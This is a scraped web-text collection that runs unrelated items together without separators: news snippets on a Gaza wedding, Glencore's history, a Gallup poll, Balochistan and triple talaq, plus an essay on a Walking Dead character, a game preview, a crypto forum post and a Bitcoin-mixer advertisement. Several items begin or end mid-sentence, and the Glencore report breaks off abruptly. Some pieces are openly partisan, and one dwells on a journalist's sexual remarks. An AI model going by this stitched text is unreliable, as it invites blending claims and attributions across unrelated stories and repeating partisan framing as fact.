UNRWA spokesman Christopher Gunness told CNN the wedding was a rare piece of good news for Gaza.
"It is truly heartwarming that amid the carnage and devastation we have a story of love and humanity -- it is a reminder of the dignity and the destinies that lie behind the statistics."
But he added that despite the individual romance of Abu Namar and Fayad's story, "one must never lose sight of the fact that Gaza has seen its worst devastation in recent memory."Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins
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Hero MemberActivity: 896Merit: 1000Avatars are overrated. Re: [SDC] ShadowCash | POSV2 | Untraceable E-Cash | NIZKP | HD+BIP32 | ShadowMarket* January 17, 2016, 11:26:57 PM #10025 Alty fucked off a while ago and was a community lurker or whatever. I would like an android wallet too but priorities are priorities and everyone is working hard from what I read in the community Slack chan on the new gui and escrow/market shtuff. Seems far ahead of any competition I believe. But who really knows right? Your best bet is joining the Slack channel to get updates. JOIN IN! WHY hellllooooooo random non-contributor.Alty fucked off a while ago and was a community lurker or whatever. I would like an android wallet too but priorities are priorities and everyone is working hard from what I read in the community Slack chan on the new gui and escrow/market shtuff. Seems far ahead of any competition I believe. But who really knows right? Your best bet is joining the Slack channel to get updates. JOIN IN! "the destruction of privacy widens the existing power imbalance between the ruling factions and everyone else" -- Julian Assange
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ophytes, newly-baptized disciples who were not well-grounded in the truths of the faith, he was faced with the daunting task of explaining profound mysteries such as the Trinity which are so difficult to understand.
There are several popular legends about how St. Patrick used the shamrock to explain the mystery of the Trinity. According to one story, St. Patrick went to Connaught where he met two of King Laoghaire’s daughters, Ethne and Fedelm. St. Patrick had been unable to persuade the king to convert, but he convinced the king’s daughters. During their time of instruction St. Patrick used a shamrock to visualize the mystery of the Trinity, how a single plant with three leaves is analogous to the one Triune God with three separate and distinct Persons (Thurston, H. J., ed., Butler’s Lives of the Saints, Vol. 1, 615).
According to another legend, St. Patrick used a shamrock to help explain the Trinity in a sermon he preached directly to King Laoghaire.
According to a third legend, St. Patrick was traveling and happened upon a number of Irish chieftains along a meadow. The tribal leaders were curious about the Trinity and asked St. Patrick for an explanation. So he bent down, picked a shamrock, and showed it to them, and explained how the three leaves are part of the one plant, and how similarly the three Persons, Father, Son, and Spirit, are part of one Supreme Being.Oct. 25, 2016, 4:13 PM GMT / Updated Oct. 25, 2016, 4:13 PM GMT By Benjamin To
“I’ll find you.”
He only had a few words left before his brutal demise, and he chose to direct them toward the love of his life, Maggie.
Glenn Rhee of "The Walking Dead," Asian America’s favorite pizza delivery boy turned zombie apocalypse warrior, died the same way he lived — selflessly.
In a time of bleakness and cruelty, Glenn was our shining glimmer of hope; our moral compass who showed us that the goodness of humanity was something still worth fighting to preserve.
"In a time of bleakness and cruelty, Glenn was our shining glimmer of hope; our moral compass who showed us that the goodness of humanity was something still worth fighting to preserve."
The mere existence of Glenn Rhee was revolutionary. Here was a bright, young Asian-American male character on a mainstream American television program who served a greater purpose than just existing solely to be a sidekick or a punch line to a second-rate joke. He was a loyal friend, a fearless leader, and a loving husband. The complexities behind the portrayal of Glenn elevated his character above Long Duk Dong, Leslie Chow, and Han Lee. He was fully-fleshed and multi-faceted. He had different shades, wrinkles, and nuances, resembling more a relatable human being rather than a cartoonish caricature.
This is largely in thanks to Robert Kirkman, the creator of “The Walking Dead” comic, but it was Steven Yeun’s sensitive and dedicated performance for the last seven seasons of the television adaptation that propelled this character to new heights.
“Though Glenn died, for seven seasons, Steven Yeun slayed,” actor Daniel Dae Kim said on Twitter.
Yeun was largely an unknown coming out of Kalamazoo College in Michigan, but is now one of the most recognizable Asian-American actors on the planet.
As a young filmmaker, I am thankful for Glenn Rhee and Steven Yeun. I didn’t grow up seeing very many faces or hearing many stories that looked like mine in American movies or television. To have had the pleasure of witnessing this character’s thoughtful journey and evolution from a naive errand runner to powerful defender was more than just entertaining, it was transformative.
Glenn Rhee, played by Steven Yeun, does battle with a walker in episode seven of season three of "The Walking Dead" Gene Page / AMC
There’s a moment in season three that I will never forget. After Glenn was captured and badly beaten by The Governor’s men, they released a walker into the room to finish him off. Not only did he resourcefully vanquish the walker with a broken chair arm, but afterwards he let out this enormous roar. There he stood, covered in blood, with this battle cry that shook my television set and my senses. It was one of the powerful images of an Asian-American male I had ever seen.
RELATED: 2015 Was More Than Just a Banner Year for Asian Americans on Television
He combated evil with his heart and his emotionality, not just with his fists. When there were those who threatened him and his group, he would stand his ground while utilizing his trademark reasoning and empathy. He went as far as to risk his own life to protect someone as despicable as Nicholas, a coward who attempted to murder him in cold blood. His life was filled with close calls, and he never took it for granted and neither did his viewers.
That’s the kind of person Glenn Rhee was. This is why we must celebrate how he lived.
After experiencing the nightmare-inducing season seven premiere of “The Walking Dead,” I had difficulty sleeping. I replayed the moment over and over again in my mind hoping that I was just hallucinating what had transpired. It was sadistic as it was heartbreaking. It sounds silly to be talking about a fictional character on a fictional show like it’s a real life account, but the very best art is a reflection of ourselves and the people around us, and it felt very much like we lost a good friend that night.
"To have had the pleasure of witnessing this character’s thoughtful journey and evolution from a naive errand runner to powerful defender was more than just entertaining, it was transformative."
In a time when Asian Americans are fighting harder than ever for media visibility and being more vocal about creating quality roles for actors, losing one that helped pave the way for the rest of the community in such a relentlessly vicious manner was absolutely devastating. Glenn Rhee broke and rewrote all of the rules for what an Asian-American character could or couldn’t do. He was a desirable romantic interest, a charismatic action hero, and a believable everyman all rolled into one. His influence was far and wide, and he left an important legacy for Asian Americans.
There will never be another one quite like him.
If I learned anything from Glenn, it’s that you can always find a way — a way to do better, a way to be better. No matter how great the odds are stacked against you, no matter how many people doubt your abilities, there’s always a way.
Thank you for helping me find mine, Glenn.
Wherever you are, I hope you found yours too.
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Dec. 9, 2015, 11:43 AM GMT / Updated Dec. 9, 2015, 11:57 AM GMT By Charlene Gubash and F. Brinley Bruton
CAIRO — A major Middle Eastern retailer has pulled all Trump-branded homeware products after the GOP frontrunner called for Muslims to be barred from entering the United States.
"As one of the most popular home decor brands in the Middle East, Lifestyle values and respects the sentiments of all its customers," Sachin Mundhwa, CEO of chain Lifestyle, said in a statement on Wednesday. "In light of the recent statements made by the presidential candidate [Donald Trump] in the U.S. media, we have suspended sale of all products from the Trump Home décor range."
Products such as Trump Home Lotion Dispenser, Trump Home Decorative Table and the Trump Home Basic Jewelry Box were no longer available for sale on Lifestyle's parent compant Landmark Shops' website on Wednesday.
Lifestyle has some 160 interior decorating, spa and homeware shops in the Middle East, Pakistan and Africa. It is part of Dubai-based conglomerate Landmark Group. The company would not disclose the value of its deal with Trump.As Editor-in-Chief Alex Marlow and Executive Stephen K. Bannon have noted, Megyn Kelly’s debate performance was not just “good journalism” by mainstream media standards — it was “great journalism.”
Between asking Sen. Ted Cruz if he personally “received word” from God if he should run for president and trying to stump frontrunner Donald Trump with insulting tweets directed at Rosie O’Donnell years ago, Kelly won loving sighs of approval from leftists while enraging the Republican base.
Kelly, like most women who market themselves successfully on television, is pretty, intelligent, and can banter with the best of them. What may strike long-time viewers as amusing is her sudden outrage at the pretend-insinuation that Trump made a period joke about her. It’s profitable for attractive, prominent women to boast of their bravery — then suddenly claim victimhood once someone challenges her. Sympathetic men did in fact rush to defend her.
During a funny and flippant interview with SiriusXM host Howard Stern in 2010, Kelly talked about her breasts and how big her husband’s penis was, and how much she liked aloof alpha bad boys.
“Did you ever think about being a stripper?” Stern asked. “Ever in your life?”
Kelly laughed, saying, “No, and I don’t think I’d be very good at it. No, no, no.”
“Would you ever get implants?” Stern said.
“No, I don’t think so,” Kelly said.
“Those are real breasts,” Stern continued.
“Yeah, these are real. I mean, they don’t look fake, please–” Kelly said, as Stern said, “Wow.” “When I got pregnant–”
“Well, you’re a C-cup, aren’t you?” Stern asked. “You are.”
Kelly laughed. “My husband calls them ‘killer Bs’.”
“Oh, they’re Bs. They look like Cs to me, don’t they? Tell her where that bra store is. They’ll upgrade her,” Stern joked.
“Did you ever feel pressure–” Stern began while Kelly replied: “We used to call them ‘Killer Bs,’ then when I got pregnant they became ‘Swimmin’ Cs,’ and Doug was frolicking in the ocean.”
“Really? So you and Doug still have a good sex life?” Stern asked. “Even after the baby — you know that’s a real issue.”
“Well, there’s a certain period of time where that’s not possible,” Kelly said matter-of-factly. Which is quite true. “You know, after you have the baby, you’re off-limits for a while.”
“You had sex during your pregnancy?” Stern asked. “Some guys–”
“There were no issues,” Kelly said. “No issues.”
“Really? Even in the third trimester?” Stern asked.
“Even in the third trimester,” Kelly said proudly. “But that’s all I’m going to say. Yes, yes.”
“Wow — no kidding,” Stern said. “Your husband’s a real man.”
“You know, I have to say — I don’t know, I think it’s Dr. Phil that says that, when the sex is bad, it’s 95 percent of a marriage. When it’s good, it’s five percent of a marriage. And for us, it’s five percent of the marriage.”
“When you make love — if your, if your husband had been small, physically; I’m talking about his penis–” Stern began.
“Ah!” Kelly interjected with a laugh.
“–would you not have married — was that, like, important to you? Like would you have said: ‘Look, I don’t think I could live with a penis this small,” he said.
“I reject the hypothetical. There’s no issues there,” Kelly said.
“It’s not important to you?” Stern said.
“I’ve never had to choose. Let’s put it that way,” Kelly said.
“Do you think Roger Ailes has a small penis?” Stern asked, as Kelly and his co-host laughed. “Did your husband ever come to you and say: ‘Look, I don’t care about your first husband or anything, but am I bigger than your first husband?’”
“He’s not insecure in that department,” Kelly said.
“Because when you said your husband is aloof, that to me signals he has a big penis,” Stern said.
“He’s the perfect amount of aloof, though, you know?” Kelly said. “You don’t want somebody’s who’s going to be too clingy. That’s the problem.”
“That’s me. I wouldn’t leave you alone, right,” Stern said.
“That’s not that hot,” Kelly said. “You gotta be at arm’s length a little, like maybe not call every time, and maybe take a little while before you return the phone calls, and–”
“Sounds like he has a big penis,” Stern said. “Sounds about seven inches.”
“You like all those games, anticipation and wonder?” Stern’s co-host asked.
“Well, he’s not playing games. He genuinely is that way. He’s just not somebody who would be frolicking after you like a puppy dog, which I like!” Kelly said. “You have to work a little to get him.”
“And you also don’t want to be his mother, and sit there, and mother him,” Stern said.
“No, no,” Kelly stressed. “I want somebody who’s going to bring it. Confident, exactly. Smart. He’s very smart. That’s a turn-on.”
Email Katie at [email protected]. Follow her on Twitter: @k_mcq.10 years ago
A new poll out Thursday paints a bleak picture for the GOP.
WASHINGTON (CNN) – The Republican Party has hit a new low.
Just 34 percent of Americans in a Gallup Poll released Thursday say they have a favorable view of the party, down 40 percent from a month ago, before the election.
What’s worse: 61 percent of Americans have an unfavorable view of the Republican Party.
According to Gallup, that unfavorable rating is the highest the polling organization has recorded for the GOP since the measure was established in 1992.
The poll of national adults was conducted on November 13-16 with a three percent margin of error.
The numbers are slightly up from a CNN poll released last week that indicated a 54 percent unfavorable rating for Republicans. Only 38 percent of those polled had a favorable rating for the party.
Meanwhile, Democrats continue to bask in the glow of President-elect Barack Obama’s historic victory on November 4. The Gallup poll suggests that 55 percent of Americans hold a favorable opinion of the Democratic Party, with 39 percent saying they have an unfavorable view. Those numbers are mostly unchanged from a mid-October survey.
As the debate rages within GOP ranks over where to take the party, the poll might offer some guidance.
Most Republicans - 59 percent - want the party to become more conservative, according to the poll. Another 28 percent want it to remain about the same ideologically, while only 12 percent would prefer to see the Republican Party become less conservative.
Independents are split on whether the party should track left or right: 35 percent of independent voters say the GOP should become more conservative, and 35 percent say less conservative.New Delhi: In yet another revelation, Pakistan's lie has been nailed once again. World Baloch Women’s Forum president Naela Quadri Baloch on Saturday denied having any information about the alleged 'RAW agent' whom Pakistan claims to have arrested from Balochistan.
Hitting out at the Nawaz Sharif-led government, Naela Quadri Baloch strongly condemned Pakistan's atrocities against Balochistan.
She further said India must support the people of Balochistan and stop Pakistan from committing genocide against her people. "The demand of the Baloch people that India should intervene in Balochistan, India should stop Pakistan from genociding Baloch people. India should do it. But India is not doing it. India is not playing their role what they should have," ANI quoted her as saying.
"Balochistan is not in Pakistan, it is occupied by Pakistan," she added.
Rubbishing Pakistan's claim about arresting a 'RAW agent' from Balochinstan, the president of World Baloch Women’s Forum said, "There is no RAW or any other agencies who support Baloch. If they really supported us, till now we were free. We would have been an independent country now like Bangladesh."
Talking about the detained Indian naval officer Kulbushan Yadav, who has reportedly confessed in a video about his involvement in an alleged spying activity in the country, especially in Balochistan, Baloch said it is a trap by Pakistan. "It's a lie (arrest of RAW agent), we don't know from where they arrested him & they're showing that it was from Pakistan," she said.
She further said, "They craft the things like this. They don't accept what they are doing in Balochistan. They are genociding Baloch people and killing at mass level. They are raping Baloch women in their captivity. They kill all the men and take all the women and burn the villages."
Urging India and Afghanistan to take a strong stand against all these, Baloch said it was the responsibility of India and Afghan to support them. "Independent Balochistan is a promise for a non-nuclear region. It's a promise for safety of India and Afghanistan, it's a promise for economic development of India and Afghanistan and Central Asia and Arab countries and the whole world. We are the junction the connecting point. If we are occupied by a terrorist Pakistan and you are silent, then how you can expect peace in your country?" she added.
Pakistan earlier released a six-minute video of detained Indian naval officer Kulbushan Yadav wherein he has reportedly confessed to his involvement in an alleged spying activity in the country, and especially in Balochistan.
Recently, according to GEO news, the Pakistani government has written a letter to Tehran asking for their help in investigating the activities of Kulbhushan Yadav.
The Pakistani Interior Ministry has also asked the Iranian government to share details of RAW networks on Iranian soil, the GEO news reported.
According to media reports, Kulbhushan Yadav was allegedly arrested by a intelligence agencies in Balochistan last week and he was later shifted to Islamabad for investigation.
On Friday, Pakistan even protested against the “illegal entry” and “subversive activities” of a purported RAW officer arrested in Balochistan province but India said the detained man has no link with the government.
The external affairs ministry spokesperson acknowledged the man was a former Indian Navy personnel but dismissed allegations of espionage, saying India believes a stable Pakistan is in the interest of the region.
Indian high commissioner Gautam Bambawale was “summoned by the Foreign Secretary today (March 25, 2016) and through a demarche conveyed our protest and deep concern on the illegal entry into Pakistan by a RAW officer and his involvement in subversive activities in Balochistan and Karachi”, said a statement from the Foreign Office.
The statement did not give any other details.
Pakistan has repeatedly accused India of fomenting unrest in Balochistan, the country’s largest province, but it has never offered any evidence to back up its claims. Such allegations have always been dismissed by New Delhi.
(With Agency inputs)Maybe ‘Unlimited Breadsticks’ was their backup name?
People often use the birth of a child as an occasion to honor someone special to them, like a beloved grandparent, or an old friend, by incorporating that person’s name into the name of their child. One couple decided to go a slightly different route and use their daughter’s name to pay tribute to their favorite chain restaurant.
After all, we’re all family there.
How much do you love Olive Garden? It doesn’t matter because there’s no way you love it as much as Justin and Jordan Garton love it.
We spent the first part of our lives loving @olivegarden, now we get to spend the rest of our lives loving Olivia Garton ☺🍝❤ #babyolivia #olivegarden #Italian #italianbaby pic.twitter.com/eDk61f870x — Justin Garton (@JustinGarton) November 20, 2017
That’s right, the young couple purposely chose the name Olivia for their daughter because Olivia Garton sounds like ‘Olive Garden,” their favorite restaurant.
“I’m only the third generation on my dad’s side to be born in America,” Jordan Garton, 26, told ABC News. “I just love Italian food and growing up in Arkansas that’s pretty much one of the only Italian places that we ever got to go.”
How much do you love Olive Garden? It doesn’t matter because you’ve probably never eaten there every day for seven weeks straight like the Gatons did.
After buying a $100 ‘never-ending pasta pass” that allows Olive Garden customers unlimited pasta and soft drinks for a limited time, Justin and Jordan made sure to get their money’s worth by spending the better part of two months eating at the restaurant.
“We committed to eating there every day for six or seven weeks to get our money’s worth,” said the 28-year-old expecting father. “It saved us several hundred dollars when we really needed it.”
Now, not only are they somehow not sick of eating at the family-friendly Italian chain, they still love it so much they’ve forever linked it to their lives with their daughter’s name. That’s amore!A new 3D action adventure RPG from independent studio Neostream called Little Devil Inside hit Steam Greenlight today. And it’s catching everyone’s attention.
The game, which looks gorgeous visually, has a mission-driven, inter-connected story, but will also offer side-events and various mini missions. Players will explore cities, forests, mountains, and deserts while meeting new characters, hiring assistants, camping, resting, and surviving.
Get some footage and a full rundown of the game below.
Little Devil Inside is a truly engaging 3D action adventure RPG game where you are thrown into a surreal but somewhat familiar setting with men, creatures and monsters to interact with, learn and hunt – survive and discover the world that exists beyond.
Gameplay
Atmospheric game play experience – We want to create a world for players to feel, interact and come to terms with gradually through their engagement rather than throwing in a pre-defined setting with pre-defined plots, giving them a sword and just let them hack away for rewards.
We want to create a world for players to feel, interact and come to terms with gradually through their engagement rather than throwing in a pre-defined setting with pre-defined plots, giving them a sword and just let them hack away for rewards. Mission-driven, inter connected storyline – Although there will be a main plot, we don’t necessarily intend this to be the end in itself. We wish to put our efforts and focus on all the means to an end where sometimes spawning off and attending to events and mini missions may mean momentarily losing track of your main mission. Basically we want to provide as many ways as possible to skin a cat!
Although there will be a main plot, we don’t necessarily intend this to be the end in itself. We wish to put our efforts and focus on all the means to an end where sometimes spawning off and attending to events and mini missions may mean momentarily losing track of your main mission. Basically we want to provide as many ways as possible to skin a cat! Freedom of play – Although guided by a multiple mission-driven system, it will still be up to you. Journey through the wilderness – explore cities, forests, mountains and deserts. Meet with new characters, hire assistants, camp & rest, take cover from Mother Nature and even meet with other players!
It’s all about discovering, learning and making choices.
Events! Events!
Respond to many hidden, unexpected events. It is our hope to provide countless event-triggered scenes and mini missions to thicken your storyline and for a more engaging game play experience.
Combat
There will still be plenty of action. Confront, hack, slash, blast away creatures and monsters throughout your journey. Gain experience, rewards and information and continue.
Survival
Nothing is given for free! Explore, fight, loot and interact with the world for basic survival and needs. You’ll need to work for your rewards.
Weapons & Inventory
Find, buy, trade or get rewarded with weapons and armor.
Upgrade your sword or rifle.
Buy or earn vehicles for party travel and a faster & safer journey – upgrade and maintain for maneuverability, speed and power.
Design Concept
The key design concept behind Little Devil Inside is minimalism but minimalism per se.
We wanted to create and design a world with a surreal but familiar look and feel with all its elements such as characters, creatures, buildings, objects and the entire environment for that matter with a level of visual detail that is minimal but sufficient enough to create a vivid imagery in the players’ minds.
As opposed to developing fully life-like, high polygon characters and objects with intense level of textures, the intended design essence and aesthetics is to create a subtle but powerful sense of emptiness for each player to fill for themselves throughout the game experience.
Certainly having the influence of, but not limited to, some all-time favorites such as XCOM series, System Shock, Legend of Zelda and Betrayal at Krondor, we believe Little Devil Inside’s unique art and design style deployed in a 3D environment will give yet a new kind of gaming experience for lovers and seekers of emotionally engaging and
challenging action adventure RPGs.BAAR, SWITZERLAND (Reuters) - On Christmas Eve 2008, in the depths of the global financial crisis, Katanga Mining accepted a lifeline it could not refuse.
Logos are seen in front of Swiss commodities trader Glencore building in Baar near Zurich January 5, 2010. REUTERS/Christian Hartmann
The Toronto-listed company had lost 97 percent of its market value over the previous six months and was running out of cash. Needing to finance its mining projects in the Democratic Republic of Congo — a country which has some of the world’s richest reserves of copper and cobalt — Katanga’s executives had sounded the alarm and made a string of calls for help.
Global credit was drying up, the copper market had fallen 70 percent in just five months, and Congo — still struggling to recover from a civil war that killed some five million people - was the last place an investor wanted to be.
One company, though, was interested. Executives in the wealthy Swiss village of Baar, working in the wood-panelled conference rooms in Glencore International’s white metallic headquarters, did their sums and were prepared to make a deal. Their terms were simple.
They wanted control.
For about $500 million in a convertible loan and rights issue, Katanga agreed to issue more than a billion new shares and hand what would become a stake of 74 percent to Glencore, the world’s biggest commodities trading group. Today, with copper prices regularly setting records above $10,000 a tone, Katanga’s stock market value is nearly $3.2 billion.
Deals like Katanga have helped turn Glencore into Switzerland’s top-grossing company and earned it comparisons with investment banking giant Goldman Sachs.
In the world of physical trading — buying, transporting and selling the basic stuff the world needs — Glencore is omnipresent and controversial, just as Goldman is in banking. Bigger than Nestle, Novartis and UBS in terms of revenues, Glencore’s network of 2,000 traders, lawyers, accountants and other staff in 40 countries gives it real-time market and political intelligence on everything from oil markets in Central Asia to what sugar’s doing in southeast Asia. Young, arrogant, and often brilliant, its staff dominate their market. The firm’s top executives have forged alliances with Russian oligarchs and well-connected African mining magnates. Like Goldman, Glencore uses its considerable heft to extract the best possible terms in every deal it does.
Some might add that Glencore also fits the description that Rolling Stone magazine gave to Goldman: “a great vampire squid wrapped around the face of humanity”.
Sometime in the coming weeks, Glencore is likely to announce its Initial Public Offering. The firm currently operates as a privately held partnership, with staff sharing the profits according to a performance-based incentives scheme. Sources familiar with Glencore’s plans say it may list 20 percent of the company, possibly split between the London Stock Exchange and Hong Kong. Such a listing could yield up to $16 billion and value the firm at as much as $60 billion.
Fueled by the lofty prices in many of the raw materials that Glencore buys, mines, ships and sells, the float would be among the biggest in London’s history. It could launch the firm onto the FTSE 100 index alongside resource giants such as BHP Billiton, Rio Tinto, and Royal Dutch Shell and from there into the pension funds and investment portfolios of millions of people who know virtually nothing about the secretive giant. It would also represent a huge payday for investment banks — perhaps $300 to $400 million, according to estimates by Freeman & Co., a mergers and acquisitions consultancy.
At the same time, it would force a company that for four decades has thrived outside the limelight to reveal some of its secrets. Can it withstand becoming a household name? Does it risk losing its prized traders? Given Glencore’s impeccable timing in deals, is an IPO a certain sign that we’ve reached the top of the commodities cycle?
“Their knowledge of the flow of commodities around the world is truly frightening,” says an outsider who has worked closely with senior Glencore officials and who, like most people interviewed by Reuters for this report, declined to be identified speaking about the company for fear it could jeopardize sensitive business relationships. Glencore executives declined to comment on the record, though the company did issue a statement about its current disclosure policy.
UNDER THE RADAR
Nestling in a lakeside village in Switzerland’s low-tax canton of Zug, Glencore’s starkly modern headquarters reflect a culture where trading aggression is coupled with public discretion. In front of the building a simple concrete sculpture — a sphere spinning atop a pyramid — hints at Glencore’s global reach. Inside, the hushed hallways are adorned with modern art, the offices eerily quiet.
“Glencore is looked on as guys screaming into telephones, but it’s more the dull old business of logistics,” says a mining industry source, describing hours spent on the phone and organizing trade-related paperwork. “Glencore trading floors are more akin to DHL offices than Goldman Sachs.”
Yet within the commodities and mining sectors, Glencore is regarded with a mix of admiration and fear. “It’s an incredibly performance-based culture — investment banking times three, probably,” says a second outsider.
Glencore’s client list is a roster of the world’s largest firms including BP, Total, Exxon Mobil, ConocoPhilips, Chevron, Vale, Rio Tinto, ArcelorMittal and Sony, as well as the national oil companies of Iran, Mexico and Brazil and public utilities in Spain, France, China, Taiwan and Japan.
Physical commodities traders, like Glencore and its main rivals Vitol, Trafigura and Cargill, make their money finding customers for raw materials and selling them at a mark-up, using complex hedges to reduce the risk of bad weather, market swings, piracy or regime change.
Unlike Chicago traders who scream out bets on the future prices of orange juice or pork bellies, physical commodity traders negotiate prices and arrange shipments of cargo quietly, keeping their positions well hidden from others.
“It’s modern financial engineering meshed with an old-fashioned commodity trading house,” said John Kilduff, a partner at the hedge fund Again Capital LLC in New York. “It’s amazing how this formula has flown under the radar for so long, as the profits and growth of these firms has been astounding.”
Glencore’s profit after tax topped $4.75 billion in 2008, not far off its best year ever, 2007, when profit ran to around $5.19 billion. Even in the gruesome market of 2009, it raked in more than $2.72 billion.
Performance is rewarded on a scale that would turn even Wall Street green, with bonuses for star traders running into the tens of millions. Glencore’s 500 partners and key staff are sitting on a book value of $20 billion.
The secret, says the second outsider, is the traders’ incredible focus. “I don’t recall talking to any of these guys — and I’ve spent a lot of time with them — about anything other than business,” he told Reuters. “I have no idea what sort of family life these guys have. This is everything.”
Employees are hired young and expected to make a career at the group, where they are known as either “thinkers” — bright number-crunchers who design the company’s complex financial deals — or “soldiers”, the hard-driven traders who fight to win the transactions.
The company’s 10 division managers are aged 37 to 52 and remain largely anonymous outside Glencore’s business circles. “They’re really bright guys, they are really focused, they play to win every day,” says a mining executive in North America. Or as the second outsider puts it: “They look like kids, really — but they are incredibly impressive individuals.”
Nobody more so than Chief Executive Ivan Glasenberg, a lean publicity-shy operator whose sport is race-walking. Glasenberg, 54, grew up in South Africa and has been a champion walker for both South Africa and Israel. Each morning he runs or swims, often with colleagues. “The thing about Ivan, he can fly in and meet presidents of countries but he also talks to the guy on the trading floor,” said Jim Cochrane, chief commercial officer and executive director of the Kazakh mining group ENRC.
After earning an MBA at the University of Southern California in 1983, Glasenberg was hired by Glencore as a coal trader in South Africa. He does not suffer fools and has a fiery temper, but is also intensely charming and has a sharp memory for details about people, according to people who know him. Despite being a billionaire in charge of thousands of staff, “this is a guy that picks up his own phone,” the second outsider said.
THE MARC RICH LEGACY
Glencore likes to promote from within and build a kind of closed, self-sustaining network of senior traders, a culture encouraged by the company’s founder Marc Rich. Not that Glencore likes to mention Rich, a figure so notorious that he’s not even mentioned in the official history on Glencore’s website.
Rich escaped Nazi Europe as a seven year old, and grew up in the United States. He launched the trading group which would become Glencore under his own name in 1974.
Rich was a sensation in commodity circles — he is credited by some with the invention of the spot market for crude oil — but by 1983 U.S. authorities had charged him with evading taxes and selling oil to Iran during the 1979-81 hostage crisis and Rich fled to Switzerland where he lived as a fugitive for 17 years.
Rich has always insisted he did nothing illegal and he was officially pardoned by Bill Clinton on the President’s last day in the White House in January 2001. Among those who lobbied on his behalf were Israeli political heavyweights Ehud Barak and Shimon Peres, according to “The King of Oil”, a book about Rich by journalist Daniel Ammann. In the book — written after interviews with Rich - the trader admits supplying oil to apartheid South Africa, bribing officials in countries such as Nigeria and assisting Mossad, Israel’s intelligence agency. In the time of the Shah, Rich says, he engineered a deal for a secret pipeline through which Iran could pump oil to Israel.
“(Rich) was faster and more aggressive than his competitors,” Ammann told Reuters last year. “He was able to recognize trends and seize opportunities before other traders. And he went where others feared to tread — geographically and morally. Trust and loyalty are very important to him. In many deals he wouldn’t rely on contracts but on the idea that ‘my word is my bond’.”
Living as a fugitive put a strain on Rich, but according to Ammann, it was a business blunder in 1992 that paved the way for the power struggle that ended his connection with the trading house he had founded. Rich spent more than $1 billion trying in vain to control the zinc market. His bid failed and with $172 million in losses, the firm was close to collapse. Rich was ultimately forced to sell out to his management and hand over control to a former metals trader, the German Willy Strothotte.
The forced sale, in 1994, netted Rich a reported $480 million. He picked up an extra $120 million when the firm was revalued and he learned its new owners had broken their side of the deal by secretly selling on around 20 percent of the stock. Fifteen years ago, then, his majority stake in the company translated into about $600 million. Today the company is worth $60 billion, according to Liberum Capital.
The company was reborn under Strothotte as Glencore. It has never said where the name comes from but some have speculated it might be an amalgam of the first two letters of the words “global, energy, commodities and resources”.
The firm continued to trade, make money — and occasionally become implicated in controversial dealings. It was one of dozens accused of paying kickbacks to Iraq in 2005 by a commission that probed the United Nation’s Oil for Food program. But while Dutch-based rival Vitol was fined $17.5 million after pleading guilty, a preliminary judicial investigation into Glencore by Switzerland’s attorney-general found a “lack of culpable information”. Glencore maintained that if any payments were made by agents it did not know or approve of them.
The impulse to seize opportunities that others don’t see, or decide to avoid, lives on. Could a flotation shed unwanted light on the business methods that have so far stayed under the radar?
A SIGNATURE DEAL
Glencore’s Christmas swoop on Katanga Mining was something of a signature deal for the firm, proof that it can use its role as the trading world’s biggest middleman to its advantage. The company is always on the prowl for opportunities to sell producers’ output. But it also likes to set things up so that when markets tumble, it’s ready to buy those same producers outright.
Katanga had just the right combination of elements: relationships built over time, a project in need of funds and an exclusive marketing agreement, and the scope for equity participation. The losers, in this case, would be the company’s minority shareholders, most of whose holdings were diluted by over 800 percent.
The acquisition was the culmination of 18 months of deal-making in Congo, where the first freely elected government in four decades had embarked on a sweeping review of mining licenses granted by previous regimes.
Workers in Congo’s southeast copper belt had battled for two years to rebuild what had once been Africa’s richest copper mines, but were now littered with |
uttering the word “talaq” thrice. The law is as unjust as it is regressive.
The Law Commission has floated a questionnaire asking for public opinion on the Uniform Civil Code, which would, in effect, ban personal laws - as well as archiac practices like triple talaq.
The Centre's petition to the Supreme Court, that triple talaq is not an essential practice in Islam has met stiff opposition from Muslim groups, who have dubbed the move as communal. The government’s intentions to enforce a Uniform Civil Code cannot be judged at the moment, but our esteemed prime minister made an important remark at his October 24 rally in Varanasi : “We should not look at religion when it comes to respecting or protecting women.”
Also read - Banning the abhorrent triple talaq needs no debate
Amid this endless din of debates on news channels and op-eds on news websites, a man called Alok Bhatt attempted to hear the voices that matter the most - and often go unheard: that of the common people. In an attempt to learn about the general Muslim public’s views on issues like triple talaq and the Uniform Civil Code, Bhatt visited a local madarsa in Dehradun.
He talked to a few children studying there, some men accompanying them and those managing the affairs of the madarsa. Bhatt recorded these conversations on video and posted them on Twitter as a part of a long, engaging thread.
Visited a madarasa today; mixed experience it was. Here are some key takeaways-1.The hafiz was a very warm guy.2 Kids knew wat they doing pic.twitter.com/zFbj78qR4d — Alok Bhatt (@alok_bhatt) October 22, 2016
2. This particular madarasa in Dehradun had almost 800 students- kids come from all across India- some affluent ones as well- note watch! pic.twitter.com/l7IdcM1iCg — Alok Bhatt (@alok_bhatt) October 22, 2016
3. The madarasa teaches students Quran Sharif and also Hindi classes but main emphasis is on teaching Quran- spoke to kids who were there pic.twitter.com/UZpYzp4RY6 — Alok Bhatt (@alok_bhatt) October 22, 2016
4. Shahid's father is an engineer- he along with his brother r both studying to be a Mufti- both brother were better dressed than others pic.twitter.com/wfy3cn3Qeo — Alok Bhatt (@alok_bhatt) October 22, 2016
5. Mushahid and Rashid are from Araria in Bihar, 3 of the 7 brothers are studying in this madarasa - cute kids they were! pic.twitter.com/6YSU2C3hz4 — Alok Bhatt (@alok_bhatt) October 22, 2016
6. While talking to kids, I did ask accompanying hafiz this Q-"dont u think they shud study more than Quran?"His ans-haan, par kya karein! — Alok Bhatt (@alok_bhatt) October 22, 2016
Bhatt then met a Maulvi, whom he asked about the Quran’s views on Triple Talaq.
7.Met a maulvi; i confronted him with a Qn on triple Talaq and its legality vis-a-vis Holy Quran- listen what he had to say b4 leaving pic.twitter.com/77BhGUhduz — Alok Bhatt (@alok_bhatt) October 22, 2016
8. I kept probing the old man abt the specific verse about triple talaq and he left the discussion-then Hafiz told me abt yest Juma sermon — Alok Bhatt (@alok_bhatt) October 22, 2016
During his interactions, Bhatt came across a petition distributed in the madarsa for the community's women to sign. It stated that they were satisfied with edicts of the Shariah, and that they fully support the All India Muslim Personal Law Board (AIMPLB) and its endeavours to safeguard the Shariah (including triple talaq).
9. He said yesterday, the maulvi mentioned that Triple talaq is in quran and they distributed these pamphlets reqd to be filled by all. pic.twitter.com/2he6Yy5ng9 — Alok Bhatt (@alok_bhatt) October 22, 2016
